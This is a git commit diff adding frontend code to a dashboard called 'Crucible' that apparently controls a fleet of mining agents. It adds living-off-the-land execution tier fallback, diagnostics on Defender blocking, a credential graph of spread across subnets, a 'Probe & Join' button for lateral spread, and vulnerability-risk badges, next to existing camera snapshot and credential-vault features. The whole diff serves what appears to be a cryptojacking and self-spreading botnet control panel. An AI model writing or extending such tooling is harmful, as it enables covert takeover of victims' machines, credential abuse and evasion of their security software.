Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -1,5 +1,6 @@
import AgentRemoteActions from './AgentRemoteActions';
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
import { lotlTierLabel } from '../../help/warRoomTelemetry';
import type { Agent } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import type { FleetGroup } from '../../help/fleetGroups';
@@ -95,6 +96,11 @@ export default function AgentListItem({
c:{agent.campaign}
</span>
)}
{lotlTierLabel(agent.lotl_tier) && (
<span className="agent-tag-chip war-room-lotl-badge" title="LOTL tier">
{lotlTierLabel(agent.lotl_tier)}
</span>
)}
</div>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>

View File

@@ -9,7 +9,10 @@ import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import LotlAttemptsList from './LotlAttemptsList';
import LotlTierBadge from './LotlTierBadge';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import { parseTierReport, type TierAttempt } from '../../types/lotl';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';
@@ -66,6 +69,12 @@ export default function AgentRemoteActions({
const [regValue, setRegValue] = useState('');
const [regType, setRegType] = useState('REG_SZ');
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
const [miningDiag, setMiningDiag] = useState<{
lotl_tier?: string;
lotl_attempts: TierAttempt[];
mining_hashrate?: number;
likely_blockers: string[];
} | null>(null);
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
@@ -135,6 +144,17 @@ export default function AgentRemoteActions({
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
}
if (agent.lotl_tier) {
parts.push(`LOTL ${agent.lotl_tier}`);
}
if (agent.active_method) {
const method = agent.stratum_overlay ? `${agent.active_method}+stratum` : agent.active_method;
parts.push(`Mining ${method}`);
}
if (agent.failed_methods && agent.failed_methods.length > 0) {
const last = agent.failed_methods[agent.failed_methods.length - 1];
parts.push(`Fallback ${last.method} failed`);
}
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
addLog(`◈ LIVE ${parts.join(' │ ')}`);
}, [agent, showLiveStats, addLog]);
@@ -164,6 +184,37 @@ export default function AgentRemoteActions({
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'mining_diagnostics') {
if (success && message) {
const jsonStart = message.indexOf('{');
if (jsonStart >= 0) {
try {
const parsed = JSON.parse(message.slice(jsonStart)) as Record<string, unknown>;
const tierFields = parseTierReport(parsed);
const blockers = parsed.likely_blockers ?? parsed.blockers;
setMiningDiag({
...tierFields,
likely_blockers: Array.isArray(blockers)
? blockers.filter((b): b is string => typeof b === 'string')
: [],
});
const wins = tierFields.lotl_attempts.filter((a) => a.ok).length;
const fails = tierFields.lotl_attempts.length - wins;
addLog(
`✓ Mining diagnostics — tier ${tierFields.lotl_tier ?? 'n/a'} (${wins} ok, ${fails} fail)`,
);
} catch {
addLog('✗ [MINING_DIAGNOSTICS] could not parse report JSON');
setMiningDiag(null);
}
} else {
addLog(`✗ [MINING_DIAGNOSTICS] no JSON in response`);
setMiningDiag(null);
}
} else {
addLog(`✗ [MINING_DIAGNOSTICS] FAIL\n${message ?? ''}`);
setMiningDiag(null);
}
} else if (action === 'tunnel_status' && success && message) {
setTunnelStatusMsg(message);
} else if (action === 'screenshot' || action === 'camera_snapshot') {
@@ -183,7 +234,7 @@ export default function AgentRemoteActions({
} else if (!liveViewRef.current || action !== 'screenshot') {
addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action && action !== 'full_sys_check') {
} else if (action && action !== 'full_sys_check' && action !== 'mining_diagnostics') {
const icon = success ? '✓' : '✗';
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
@@ -234,6 +285,10 @@ export default function AgentRemoteActions({
setSysCheckReport(null);
addLog(`◈ Running full system check on ${agentName}… (may take 3060s)`);
}
if (action === 'mining_diagnostics') {
setMiningDiag(null);
addLog(`◈ Running mining diagnostics on ${agentName}`);
}
// WOL is handled server-side (no agent connection needed)
if (action === 'wol') {
@@ -372,6 +427,9 @@ export default function AgentRemoteActions({
<span className="offline-badge">OFFLINE commands disabled</span>
)}
{busy && <span className="busy-badge"> {busy}</span>}
{!isFleet && agent?.lotl_tier && (
<LotlTierBadge tier={agent.lotl_tier} attempts={agent.lotl_attempts} variant="inline" />
)}
</div>
</div>
@@ -416,6 +474,15 @@ export default function AgentRemoteActions({
<div className="button-grid">
<button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
<button
type="button"
className="btn-cyan"
disabled={!isOnline || !!busy}
title="JSON report: execution mode, pause state, job delivery, GPU subprocess, Defender RTP"
onClick={() => dispatch('mining_diagnostics')}
>
Mining Diagnostics
</button>
</div>
</div>
@@ -737,6 +804,41 @@ export default function AgentRemoteActions({
/>
)}
{miningDiag && !compact && (
<div style={{ marginBottom: '1rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.35rem' }}>
<span className="font-tech" style={{ fontSize: '0.72rem', color: 'var(--neon-cyan)' }}>
MINING DIAGNOSTICS
</span>
{miningDiag.lotl_tier && (
<LotlTierBadge tier={miningDiag.lotl_tier} attempts={miningDiag.lotl_attempts} variant="inline" />
)}
<button
type="button"
className="terminal-clear-btn"
style={{ marginLeft: 'auto' }}
onClick={() => setMiningDiag(null)}
>
DISMISS
</button>
</div>
<LotlAttemptsList
attempts={miningDiag.lotl_attempts}
activeTier={miningDiag.lotl_tier}
miningHashrate={miningDiag.mining_hashrate}
/>
{miningDiag.likely_blockers.length > 0 && (
<ul className="rich-blocker-list" style={{ marginTop: '0.35rem', paddingLeft: '1rem' }}>
{miningDiag.likely_blockers.map((b, i) => (
<li key={i} className="rich-blocker-item" style={{ fontSize: '0.72rem', color: '#ccc' }}>
{b}
</li>
))}
</ul>
)}
</div>
)}
{screenshotData && (
<div className="screenshot-viewer">
<div className="viewer-header">

View File

@@ -42,7 +42,7 @@ export default function CreateGroupModal({ open, agentCount, onClose, onCreate }
>
<h2 id="fleet-group-modal-title" className="font-display">Create group</h2>
<p className="form-hint">
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} usable in Fleet Roster and Crucible.
Saves {agentCount} selected machine{agentCount === 1 ? '' : 's'} usable in Crucible for bulk commands.
</p>
<form onSubmit={submit}>
<label className="label" htmlFor="fleet-group-name">Group name</label>

View File

@@ -0,0 +1,78 @@
import { useEffect, useState } from 'react';
import { api } from '../../api/client';
import type { CredentialSubnetEdge } from '../../types/recon';
import './ReconVisuals.css';
export default function CredentialGraphTable() {
const [rows, setRows] = useState<CredentialSubnetEdge[] | null>(null);
const [loading, setLoading] = useState(true);
const [unavailable, setUnavailable] = useState(false);
useEffect(() => {
let cancelled = false;
setLoading(true);
void api
.getCredentialGraph()
.then((data) => {
if (cancelled) return;
if (!data) {
setUnavailable(true);
setRows([]);
return;
}
setRows(data.subnets ?? []);
setUnavailable(false);
})
.catch(() => {
if (!cancelled) {
setUnavailable(true);
setRows([]);
}
})
.finally(() => {
if (!cancelled) setLoading(false);
});
return () => {
cancelled = true;
};
}, []);
if (loading) {
return <p className="recon-graph-empty">Loading credential graph</p>;
}
if (unavailable) {
return (
<p className="recon-graph-empty">
Credential graph API not available yet edges appear after spread runs record cred affinity.
</p>
);
}
if (!rows?.length) {
return <p className="recon-graph-empty">No credential edges recorded.</p>;
}
return (
<table className="recon-graph-table" aria-label="Credential graph by subnet">
<thead>
<tr>
<th>SUBNET</th>
<th>EDGES</th>
<th>OK</th>
<th>FAIL</th>
</tr>
</thead>
<tbody>
{rows.map((row) => (
<tr key={row.subnet}>
<td>{row.subnet}</td>
<td>{row.edges}</td>
<td>{row.success_count ?? '—'}</td>
<td>{row.fail_count ?? '—'}</td>
</tr>
))}
</tbody>
</table>
);
}

View File

@@ -0,0 +1,63 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import CrucibleAgentMeta from './CrucibleAgentMeta';
import { api } from '../../api/client';
import { mockAgent } from '../../test/fixtures';
vi.mock('../../api/client', () => ({
api: {
updateAgentMeta: vi.fn(),
deleteAgent: vi.fn(),
sendAgentCommand: vi.fn(),
},
}));
const updateMetaMock = vi.mocked(api.updateAgentMeta);
const deleteAgentMock = vi.mocked(api.deleteAgent);
describe('CrucibleAgentMeta', () => {
beforeEach(() => {
vi.clearAllMocks();
updateMetaMock.mockResolvedValue({
success: true,
agent: mockAgent({ notes: 'saved', tags: ['rack-a'] }),
});
deleteAgentMock.mockResolvedValue({ success: true });
});
afterEach(() => {
cleanup();
});
it('saves notes and tags via API', async () => {
const agent = mockAgent({ id: 'meta-1', name: 'Meta Node', notes: 'old', tags: ['old-tag'] });
render(<CrucibleAgentMeta agent={agent} />);
const user = userEvent.setup();
const notes = screen.getByPlaceholderText('Notes about this machine…');
await user.clear(notes);
await user.type(notes, 'Living room PC');
const tags = screen.getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
await user.clear(tags);
await user.type(tags, 'living-room, rack-b');
await user.click(screen.getByRole('button', { name: 'Save notes & tags' }));
await waitFor(() => {
expect(updateMetaMock).toHaveBeenCalledWith('meta-1', 'Living room PC', ['living-room', 'rack-b']);
});
expect(await screen.findByText('Saved')).toBeInTheDocument();
});
it('deletes agent from roster after confirm', async () => {
const agent = mockAgent({ id: 'del-1', name: 'Delete Me' });
const confirmSpy = vi.spyOn(window, 'confirm').mockReturnValue(true);
render(<CrucibleAgentMeta agent={agent} />);
await userEvent.setup().click(screen.getByRole('button', { name: 'Delete from Roster' }));
await waitFor(() => {
expect(deleteAgentMock).toHaveBeenCalledWith('del-1');
});
confirmSpy.mockRestore();
});
});

View File

@@ -0,0 +1,132 @@
import { useState, useEffect } from 'react';
import { api } from '../../api/client';
import type { Agent } from '../../types';
interface Props {
agent: Agent;
onUpdated?: (agent: Agent) => void;
}
export default function CrucibleAgentMeta({ agent, onUpdated }: Props) {
const [notesDraft, setNotesDraft] = useState(agent.notes || '');
const [tagsDraft, setTagsDraft] = useState((agent.tags || []).join(', '));
const [saving, setSaving] = useState(false);
const [msg, setMsg] = useState('');
useEffect(() => {
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMsg('');
}, [agent.id, agent.notes, agent.tags]);
const save = async () => {
setSaving(true);
setMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(agent.id, notesDraft, tags);
onUpdated?.(res.agent);
setMsg('Saved');
setTimeout(() => setMsg(''), 2000);
} catch (err) {
setMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setSaving(false);
}
};
const deleteFromRoster = async () => {
if (!window.confirm('Remove this machine from the fleet roster? This cannot be undone.')) return;
try {
await api.deleteAgent(agent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
const uninstallAndDelete = async () => {
const label = agent.status === 'online'
? `Uninstall the miner from "${agent.name}" and remove it from the roster?`
: `"${agent.name}" is offline — it cannot be remotely uninstalled. Remove from roster only?`;
if (!window.confirm(label)) return;
if (agent.status === 'online') {
try {
await api.sendAgentCommand(agent.id, 'uninstall', {});
} catch {
// Non-fatal — proceed to delete the record regardless
}
}
try {
await api.deleteAgent(agent.id);
} catch (err) {
alert(err instanceof Error ? err.message : 'Delete failed');
}
};
return (
<div className="crucible-agent-meta" style={{
display: 'flex',
flexDirection: 'column',
gap: '0.5rem',
marginBottom: '1rem',
padding: '0.75rem 1rem',
background: 'rgba(0,245,255,0.04)',
border: '1px solid rgba(0,245,255,0.18)',
borderRadius: '8px',
}}>
<div className="font-tech" style={{ fontSize: '0.72rem', letterSpacing: '0.1em', color: 'var(--neon-cyan)' }}>
NOTES &amp; TAGS
</div>
<p className="form-hint" style={{ margin: 0 }}>
Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on node cards.
</p>
{(agent.tags?.length ?? 0) > 0 && (
<div>
{agent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="button" className="btn btn-outline btn-sm" disabled={saving} onClick={() => void save()}>
{saving ? 'Saving…' : 'Save notes & tags'}
</button>
{agent.status === 'online' && (
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,100,0,0.15)', border: '1px solid #ff8844', color: '#ffaa66' }}
onClick={() => void uninstallAndDelete()}
title="Send uninstall command to agent, then remove from roster"
>
Uninstall + Delete
</button>
)}
<button
type="button"
className="btn btn-sm"
style={{ background: 'rgba(255,40,40,0.15)', border: '1px solid #ff4444', color: '#ff6666' }}
onClick={() => void deleteFromRoster()}
title="Remove this machine from the fleet roster permanently"
>
Delete from Roster
</button>
{msg && <span className="form-hint">{msg}</span>}
</div>
</div>
);
}

View File

@@ -30,6 +30,18 @@ vi.mock('./FileManager', () => ({
default: () => <div data-testid="file-manager" />,
}));
vi.mock('./CredentialGraphTable', () => ({
default: () => <div data-testid="credential-graph-table" />,
}));
vi.mock('./ServiceGraphSummary', () => ({
default: () => <div data-testid="service-graph-summary" />,
}));
vi.mock('./SpreadTemplateExportPanel', () => ({
default: () => <div data-testid="spread-template-export" />,
}));
const listBuildsMock = vi.mocked(api.listBuilds);
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
const sendWOLMock = vi.mocked(api.sendWOL);
@@ -190,6 +202,20 @@ describe('CrucibleExpandedOps', () => {
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
expect(screen.getByTestId('credential-graph-table')).toBeInTheDocument();
});
it('dispatches discover_and_join from Probe & Join button', async () => {
const user = userEvent.setup();
const onEcho = vi.fn();
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread', onEcho })} />);
await user.click(screen.getByRole('button', { name: 'Probe & Join' }));
await waitFor(() => {
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'discover_and_join', {});
});
expect(onEcho).toHaveBeenCalledWith('discover_and_join → 1 node(s)', true);
});
it('shows SSH probe controls on tunnels tab', async () => {

View File

@@ -11,10 +11,14 @@ import {
} from '../../help/crucibleOps';
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
import { HelpTip } from '../HelpTip';
import LotlTierBadge from './LotlTierBadge';
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
import FileManager from './FileManager';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
import CredentialGraphTable from './CredentialGraphTable';
import ServiceGraphSummary from './ServiceGraphSummary';
import './ProtocolTunnelPanel.css';
interface FmCommandResult {
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
return (
<div className={panelClass}>
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
{singleSelectedAgent?.lotl_tier && (
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
<LotlTierBadge
tier={singleSelectedAgent.lotl_tier}
attempts={singleSelectedAgent.lotl_attempts}
variant="inline"
/>
</div>
)}
<button
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Resume hashing on selected online nodes"
title="Fleet health: restore hashing workload on selected online nodes"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
}}
>
Resume
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
type="button"
className="button crucible-op-btn"
disabled={!hasSelection}
title="Pause hashing without disconnecting the agent"
title="Fleet health: power down hashing without disconnecting the agent"
onClick={() => {
const ids = targets.map((a) => a.id);
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
}}
>
Pause
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
Credential Names
</button>
<button
type="button"
className="button crucible-op-btn btn-cyan"
disabled={!hasSelection || targets.length === 0}
title="Service discovery → server deploy plan → matching LOTL join lane"
onClick={() => bulkDispatch('discover_and_join')}
>
Probe &amp; Join
</button>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
<CredentialGraphTable />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
<ServiceGraphSummary
agentId={singleSelectedAgent?.id}
agentIp={singleSelectedAgent?.ip}
/>
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
</CrucibleCollapsibleSection>
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">

View File

@@ -119,8 +119,8 @@ export default function FleetToolbar({
Screenshot
</button>
)}
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')}>Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')}>Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
<button

View File

@@ -0,0 +1,21 @@
import { joinLaneLabel } from '../../help/reconRisk';
import './ReconVisuals.css';
interface Props {
lane?: string;
className?: string;
}
export default function JoinLaneBadge({ lane, className = '' }: Props) {
const label = joinLaneLabel(lane);
if (!label) return null;
return (
<span
className={`join-lane-badge ${className}`.trim()}
title={`Deploy join lane: ${label}`}
>
{label}
</span>
);
}

View File

@@ -0,0 +1,58 @@
import type { TierAttempt } from '../../types/lotl';
import { formatDurationMs, formatLotlTierLabel } from '../../types/lotl';
import './LotlVisuals.css';
interface Props {
attempts: TierAttempt[];
activeTier?: string;
miningHashrate?: number;
className?: string;
}
export default function LotlAttemptsList({
attempts,
activeTier,
miningHashrate,
className = '',
}: Props) {
if (attempts.length === 0 && miningHashrate === undefined) {
return (
<div className={`lotl-attempts-block ${className}`.trim()}>
<div className="lotl-attempts-title">LOTL TIER CHAIN</div>
<div className="lotl-attempts-empty">No tier attempts in this report</div>
</div>
);
}
return (
<div className={`lotl-attempts-block ${className}`.trim()}>
<div className="lotl-attempts-title">
LOTL TIER CHAIN
{activeTier && (
<span style={{ marginLeft: '0.5rem', color: 'var(--text-muted)', fontWeight: 400 }}>
{formatLotlTierLabel(activeTier)}
</span>
)}
{miningHashrate !== undefined && (
<span style={{ marginLeft: '0.5rem', color: 'var(--neon-green)', fontWeight: 600 }}>
{Math.round(miningHashrate)} H/s
</span>
)}
</div>
{attempts.length === 0 ? (
<div className="lotl-attempts-empty">No attempt history</div>
) : (
<ul className="lotl-attempts-list">
{attempts.map((a, i) => (
<li key={`${a.tier}-${i}`} className="lotl-attempt-row">
<span className={`lotl-attempt-icon ${a.ok ? 'ok' : 'fail'}`}>{a.ok ? '✓' : '✗'}</span>
<span className="lotl-attempt-tier">{formatLotlTierLabel(a.tier)}</span>
<span className="lotl-attempt-dur">{formatDurationMs(a.duration_ms)}</span>
{!a.ok && a.error && <span className="lotl-attempt-err">{a.error}</span>}
</li>
))}
</ul>
)}
</div>
);
}

View File

@@ -0,0 +1,67 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it } from 'vitest';
import { cleanup, render, screen } from '@testing-library/react';
import LotlTierBadge from './LotlTierBadge';
import LotlAttemptsList from './LotlAttemptsList';
import { formatDurationMs, formatLotlTierLabel, parseTierAttempts } from '../../types/lotl';
describe('LOTL tier visuals', () => {
afterEach(() => cleanup());
it('renders compact tier badge with friendly label', () => {
render(<LotlTierBadge tier="inprocess" />);
expect(screen.getByText('LOTL In-Process')).toBeInTheDocument();
});
it('shows fail styling when active tier last attempt failed', () => {
const { container } = render(
<LotlTierBadge
tier="container"
attempts={[
{ tier: 'wsl', ok: false, error: 'no distro', duration_ms: 1200 },
{ tier: 'container', ok: false, error: 'AV blocked', duration_ms: 800 },
]}
/>,
);
expect(container.querySelector('.lotl-fail')).toBeTruthy();
});
it('lists tier attempts with success/fail and duration', () => {
render(
<LotlAttemptsList
activeTier="inprocess"
miningHashrate={420}
attempts={[
{ tier: 'container', ok: false, error: 'docker missing', duration_ms: 500 },
{ tier: 'inprocess', ok: true, duration_ms: 2100 },
]}
/>,
);
expect(screen.getByText('LOTL TIER CHAIN')).toBeInTheDocument();
expect(screen.getByText('Container')).toBeInTheDocument();
expect(screen.getByText('In-Process')).toBeInTheDocument();
expect(screen.getByText('docker missing')).toBeInTheDocument();
expect(screen.getByText('500ms')).toBeInTheDocument();
expect(screen.getByText('2.1s')).toBeInTheDocument();
expect(screen.getByText(/420 H\/s/)).toBeInTheDocument();
});
it('parseTierAttempts normalizes API rows', () => {
const attempts = parseTierAttempts([
{ tier: 'gpu', ok: true, duration_ms: 3000 },
{ tier: 'wsl', ok: false, error: 'offline' },
{ bad: true },
]);
expect(attempts).toHaveLength(2);
expect(attempts[0].tier).toBe('gpu');
expect(attempts[1].error).toBe('offline');
});
it('formatLotlTierLabel and formatDurationMs helpers', () => {
expect(formatLotlTierLabel('ps_memory')).toBe('PS Memory');
expect(formatDurationMs(450)).toBe('450ms');
expect(formatDurationMs(1500)).toBe('1.5s');
});
});

View File

@@ -0,0 +1,31 @@
import type { TierAttempt } from '../../types/lotl';
import { formatLotlTierLabel, lotlAttemptsTooltip } from '../../types/lotl';
import './LotlVisuals.css';
interface Props {
tier?: string;
attempts?: TierAttempt[];
/** Use card chip styling (cn-lotl) vs inline header badge */
variant?: 'card' | 'inline';
className?: string;
}
export default function LotlTierBadge({ tier, attempts, variant = 'card', className = '' }: Props) {
if (!tier?.trim()) return null;
const failed = attempts?.some((a) => a.tier === tier && !a.ok);
const stateCls = failed ? 'lotl-fail' : tier ? 'lotl-active' : 'lotl-idle';
const base = variant === 'card' ? 'cn-lotl' : 'lotl-tier-badge';
const title = attempts?.length
? `Active LOTL tier: ${formatLotlTierLabel(tier)}\n${lotlAttemptsTooltip(attempts)}`
: `Active LOTL tier: ${formatLotlTierLabel(tier)}`;
return (
<span
className={`${base} lotl-tier-badge--${failed ? 'fail' : 'active'} ${stateCls} ${className}`.trim()}
title={title}
>
LOTL {formatLotlTierLabel(tier)}
</span>
);
}

View File

@@ -0,0 +1,144 @@
/* Compact LOTL tier badge — agent cards, headers, remote actions */
.lotl-tier-badge,
.cn-lotl {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.cn-lotl {
align-self: flex-start;
}
.lotl-tier-badge--active,
.cn-lotl.lotl-active {
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.12);
border: 1px solid rgba(0, 245, 255, 0.28);
}
.lotl-tier-badge--fail,
.cn-lotl.lotl-fail {
color: #ff8866;
background: rgba(255, 100, 0, 0.12);
border: 1px solid rgba(255, 136, 68, 0.35);
}
.lotl-tier-badge--idle,
.cn-lotl.lotl-idle {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.06);
}
/* Vulnerability risk chip — Crucible / fleet cards (authorized recon only) */
.vuln-risk-badge,
.cn-vuln-risk {
font-size: 0.62rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
white-space: nowrap;
}
.vuln-risk-high {
color: #ff6688;
background: rgba(255, 60, 90, 0.14);
border: 1px solid rgba(255, 80, 110, 0.4);
}
.vuln-risk-med {
color: #ffaa44;
background: rgba(255, 140, 0, 0.12);
border: 1px solid rgba(255, 170, 68, 0.35);
}
.vuln-risk-low {
color: #88ccff;
background: rgba(80, 160, 255, 0.1);
border: 1px solid rgba(100, 180, 255, 0.3);
}
.vuln-risk-clear {
color: var(--text-muted);
background: rgba(255, 255, 255, 0.05);
}
/* Tier attempt list — reuses Crucible rich-terminal palette */
.lotl-attempts-block {
margin: 0.35rem 0 0.5rem;
padding: 0.45rem 0.65rem;
border-left: 2px solid rgba(0, 245, 255, 0.35);
background: rgba(0, 0, 0, 0.35);
border-radius: 0 4px 4px 0;
font-family: var(--font-tech);
font-size: 0.74rem;
max-width: 720px;
}
.lotl-attempts-title {
color: var(--neon-cyan);
font-weight: 700;
letter-spacing: 0.1em;
font-size: 0.7rem;
margin-bottom: 0.35rem;
}
.lotl-attempts-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
flex-direction: column;
gap: 0.2rem;
}
.lotl-attempt-row {
display: flex;
flex-wrap: wrap;
align-items: baseline;
gap: 0.35rem 0.5rem;
padding: 0.15rem 0;
border-bottom: 1px solid rgba(255, 255, 255, 0.04);
}
.lotl-attempt-row:last-child {
border-bottom: none;
}
.lotl-attempt-icon {
width: 1rem;
flex-shrink: 0;
font-weight: 700;
}
.lotl-attempt-icon.ok { color: var(--neon-green); }
.lotl-attempt-icon.fail { color: #ff6666; }
.lotl-attempt-tier {
font-weight: 600;
color: #e8e8e8;
min-width: 5.5rem;
}
.lotl-attempt-dur {
color: var(--text-muted);
font-size: 0.68rem;
}
.lotl-attempt-err {
color: #ffaa88;
font-size: 0.68rem;
flex: 1 1 100%;
padding-left: 1.35rem;
word-break: break-word;
}
.lotl-attempts-empty {
color: var(--text-muted);
font-style: italic;
font-size: 0.72rem;
}

View File

@@ -0,0 +1,66 @@
/**
* @vitest-environment happy-dom
*/
import { afterEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor } from '@testing-library/react';
import RiskBadge from './RiskBadge';
import JoinLaneBadge from './JoinLaneBadge';
import CredentialGraphTable from './CredentialGraphTable';
import { api } from '../../api/client';
vi.mock('../../api/client', () => ({
api: {
getCredentialGraph: vi.fn(),
getServiceGraph: vi.fn(),
},
}));
describe('Recon badges', () => {
afterEach(() => {
cleanup();
vi.clearAllMocks();
});
it('RiskBadge renders critical chip from vuln_findings', () => {
render(
<RiskBadge
findings={[{ cve_id: 'CVE-2021-44228', severity: 'critical', patched: false }]}
/>,
);
expect(screen.getByText('RISK CRIT')).toBeInTheDocument();
});
it('RiskBadge renders nothing when findings are patched', () => {
const { container } = render(
<RiskBadge findings={[{ cve_id: 'CVE-1', severity: 'high', patched: true }]} />,
);
expect(container.firstChild).toBeNull();
});
it('JoinLaneBadge renders lane label', () => {
render(<JoinLaneBadge lane="docker" />);
expect(screen.getByText('Docker')).toBeInTheDocument();
});
it('CredentialGraphTable shows subnet rows from API', async () => {
vi.mocked(api.getCredentialGraph).mockResolvedValue({
subnets: [
{ subnet: '10.0.1.x', edges: 5, success_count: 3, fail_count: 2 },
],
});
render(<CredentialGraphTable />);
await waitFor(() => {
expect(screen.getByText('10.0.1.x')).toBeInTheDocument();
});
expect(screen.getByText('5')).toBeInTheDocument();
